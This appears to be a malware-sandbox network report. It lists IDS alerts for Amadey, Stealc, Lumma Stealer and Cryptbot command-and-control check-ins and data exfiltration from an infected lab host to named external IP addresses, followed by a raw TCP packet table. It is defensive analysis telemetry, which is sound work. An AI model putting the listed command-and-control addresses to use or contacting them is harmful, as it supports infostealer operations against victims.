2024-11-26T22:54:42.705056+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50153	185.215.113.43	80	TCP
2024-11-26T22:54:42.878760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50154	172.67.153.209	443	TCP
2024-11-26T22:54:44.182362+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50155	185.215.113.206	80	TCP
2024-11-26T22:54:44.239749+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50158	185.215.113.16	80	TCP
2024-11-26T22:54:45.711414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50159	172.67.153.209	443	TCP
2024-11-26T22:54:49.791139+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50161	172.67.153.209	443	TCP
2024-11-26T22:54:49.977760+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50160	185.215.113.43	80	TCP
2024-11-26T22:54:50.400347+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50162	172.67.153.209	443	TCP
2024-11-26T22:54:50.521738+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50161	172.67.153.209	443	TCP
2024-11-26T22:54:51.303148+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50162	172.67.153.209	443	TCP
2024-11-26T22:54:51.303148+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50162	172.67.153.209	443	TCP
2024-11-26T22:54:51.540917+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50163	185.215.113.16	80	TCP
2024-11-26T22:54:52.747455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50165	172.67.153.209	443	TCP
2024-11-26T22:54:52.747725+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50164	172.67.153.209	443	TCP
2024-11-26T22:54:53.461279+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50165	172.67.153.209	443	TCP
2024-11-26T22:54:53.461279+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50165	172.67.153.209	443	TCP
2024-11-26T22:54:56.306594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50191	172.67.153.209	443	TCP
2024-11-26T22:54:56.585726+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50190	185.215.113.206	80	TCP
2024-11-26T22:54:59.118013+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.7	50199	34.118.89.252	80	TCP
2024-11-26T22:54:59.224572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50200	172.67.153.209	443	TCP
2024-11-26T22:54:59.478470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50201	172.67.153.209	443	TCP
2024-11-26T22:55:00.221539+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50201	172.67.153.209	443	TCP
2024-11-26T22:55:00.501727+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50203	185.215.113.43	80	TCP
2024-11-26T22:55:00.774630+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.7	50207	34.118.89.252	80	TCP
2024-11-26T22:55:01.746500+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50206	185.215.113.16	80	TCP
2024-11-26T22:55:02.897596+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50208	172.67.153.209	443	TCP
2024-11-26T22:55:07.950409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50221	172.67.153.209	443	TCP
2024-11-26T22:55:10.179589+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.7	50223	34.118.89.252	80	TCP
2024-11-26T22:55:10.598321+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50224	172.67.153.209	443	TCP
2024-11-26T22:55:14.084942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50227	172.67.153.209	443	TCP
2024-11-26T22:55:14.825781+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50227	172.67.153.209	443	TCP
2024-11-26T22:55:16.352572+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50229	185.215.113.16	80	TCP
2024-11-26T22:56:22.895993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50349	20.189.173.21	443	TCP
2024-11-26T22:57:05.210408+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50382	52.168.117.168	443	TCP
2024-11-26T22:58:18.091645+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50407	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 22:52:06.786148071 CET	49674	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:06.786179066 CET	49675	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:06.848660946 CET	49672	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:08.567389965 CET	49677	443	192.168.2.7	20.50.201.200
Nov 26, 2024 22:52:08.731179953 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:08.731230974 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:08.731391907 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:08.731735945 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:08.731754065 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:10.631069899 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:10.631131887 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:10.634865999 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:10.634876013 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:10.635148048 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:10.647562027 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:10.695322037 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.144646883 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.144669056 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.144682884 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.144738913 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.144777060 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.144828081 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.342277050 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.342302084 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.342350960 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.342406034 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.342427015 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.342457056 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.390954971 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.390978098 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.391035080 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.391077995 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.391094923 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.391125917 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.531383038 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.531405926 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.531522989 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.531578064 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.531703949 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.558382988 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.558401108 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.558486938 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.558511972 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.558552980 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.578752995 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.578783035 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.578887939 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.578927994 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.578984976 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.596246004 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.596267939 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.596342087 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.596380949 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.596427917 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.734752893 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.734783888 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.734872103 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.734910011 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.734960079 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.751022100 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.751049995 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.751152992 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.751179934 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.751245022 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.767533064 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.767549992 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.767630100 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.767663956 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.767709017 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.781903982 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.781955957 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.782002926 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.782048941 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.782077074 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.782100916 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.798535109 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.798556089 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.798607111 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.798646927 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.798665047 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.798686981 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.813725948 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.813743114 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.813797951 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.813833952 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.813849926 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.813873053 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.820686102 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.820744991 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.820761919 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.820802927 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.821007967 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.821031094 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.821043015 CET	49701	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.821048975 CET	443	49701	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.901559114 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.901690006 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.901820898 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.902548075 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.902576923 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.903835058 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.903912067 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.903981924 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.904073954 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.904118061 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.904192924 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.904206038 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.904525042 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.905270100 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.905297041 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.905379057 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.905533075 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.905539036 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.905541897 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.905550003 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.906716108 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.906727076 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:11.906785965 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.906910896 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:11.906919956 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.618885040 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.621078014 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.623435020 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.653783083 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.653836012 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.654748917 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.654755116 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.655030012 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.655066967 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.655162096 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.655175924 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.655453920 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.655467033 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.655611992 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.655616999 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.684669018 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.685828924 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.693667889 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.693696976 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.694156885 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.694163084 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.694526911 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.694539070 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:13.694894075 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:13.694897890 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.056962013 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.057049990 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.057106972 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.057826042 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.057848930 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.057863951 CET	49705	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.057869911 CET	443	49705	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.059027910 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.059062004 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.059122086 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.059164047 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.059222937 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.063287020 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.063321114 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.063441038 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.063450098 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.064023972 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.064169884 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.065212965 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.065260887 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.065310001 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.066504955 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.066541910 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.066591978 CET	49702	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.066607952 CET	443	49702	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.094902992 CET	49706	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.094928980 CET	443	49706	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.125089884 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.125137091 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.125209093 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.130403996 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.130419016 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.133013964 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.133080006 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.133141994 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.133276939 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.133292913 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.134272099 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.134310007 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.134466887 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.134910107 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.134923935 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.147125006 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.147191048 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.147238970 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.147465944 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.147486925 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.147507906 CET	49703	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.147514105 CET	443	49703	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.151874065 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.151920080 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.151978016 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.152026892 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152060032 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152169943 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.152177095 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152255058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.152255058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.152255058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.152261972 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152470112 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152507067 CET	443	49704	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.152539015 CET	49704	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.155867100 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.155908108 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.155968904 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.156531096 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.156544924 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.157071114 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:14.157084942 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:14.520539045 CET	49677	443	192.168.2.7	20.50.201.200
Nov 26, 2024 22:52:15.618365049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:15.738668919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:15.738825083 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:15.739756107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:15.859759092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:16.005450010 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.006232023 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.006256104 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.006937027 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.006942034 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.011627913 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.012083054 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.012109041 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.012551069 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.012557030 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.014672995 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.014961004 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.014971972 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.015343904 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.015350103 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.034708977 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.035386086 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.035415888 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.035968065 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.035974979 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.047146082 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.047693014 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.047722101 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.048139095 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.048146963 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.395597935 CET	49674	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:16.396948099 CET	49675	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:16.449623108 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.449795008 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.449878931 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.455631971 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.455709934 CET	443	49709	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.455765009 CET	49709	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.458029985 CET	49672	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:16.458900928 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.458973885 CET	443	49711	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.459016085 CET	49711	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.490921021 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.490987062 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.491105080 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.500920057 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.500989914 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.501059055 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.512339115 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.512377977 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.512398958 CET	49707	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.512406111 CET	443	49707	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.513381004 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.513430119 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.513448954 CET	49708	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.513458967 CET	443	49708	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.523343086 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.523381948 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.523401976 CET	49710	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:16.523411036 CET	443	49710	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:16.531904936 CET	49709	443	192.168.2.7	13.107.246.63
